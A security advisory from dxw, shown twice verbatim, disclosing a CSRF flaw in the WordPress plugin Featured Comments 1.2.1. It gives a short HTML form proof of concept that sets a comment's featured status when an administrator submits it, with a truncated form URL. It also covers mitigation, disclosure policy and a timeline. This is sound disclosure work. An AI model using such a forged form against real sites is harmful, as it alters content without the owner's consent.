Details
================
Software: Featured Comments
Version: 1.2.1
Homepage: http://wordpress.org/plugins/
Advisory ID: dxw-2014-1360
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
Description
================
CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses
Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.
Proof of concept
================
If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-
<input type=\"text\" name=\"do\" value=\"feature\">
<input type=\"text\" name=\"comment_id\" value=\"9\">
<input type=\"submit\">
</form>
Mitigations
================
Disable the plugin until a fix is available.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2014-05-22: Discovered
2014-05-23: Email address for report requested via contact form at pippinsplugins.com
2014-05-26: Author acknowledged report
2014-06-10: dxw chased to establish timeline for a fix
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
================
Software: Featured Comments
Version: 1.2.1
Homepage: http://wordpress.org/plugins/
Advisory ID: dxw-2014-1360
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
Description
================
CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses
Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.
Proof of concept
================
If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-
<input type=\"text\" name=\"do\" value=\"feature\">
<input type=\"text\" name=\"comment_id\" value=\"9\">
<input type=\"submit\">
</form>
Mitigations
================
Disable the plugin until a fix is available.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2014-05-22: Discovered
2014-05-23: Email address for report requested via contact form at pippinsplugins.com
2014-05-26: Author acknowledged report
2014-06-10: dxw chased to establish timeline for a fix
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.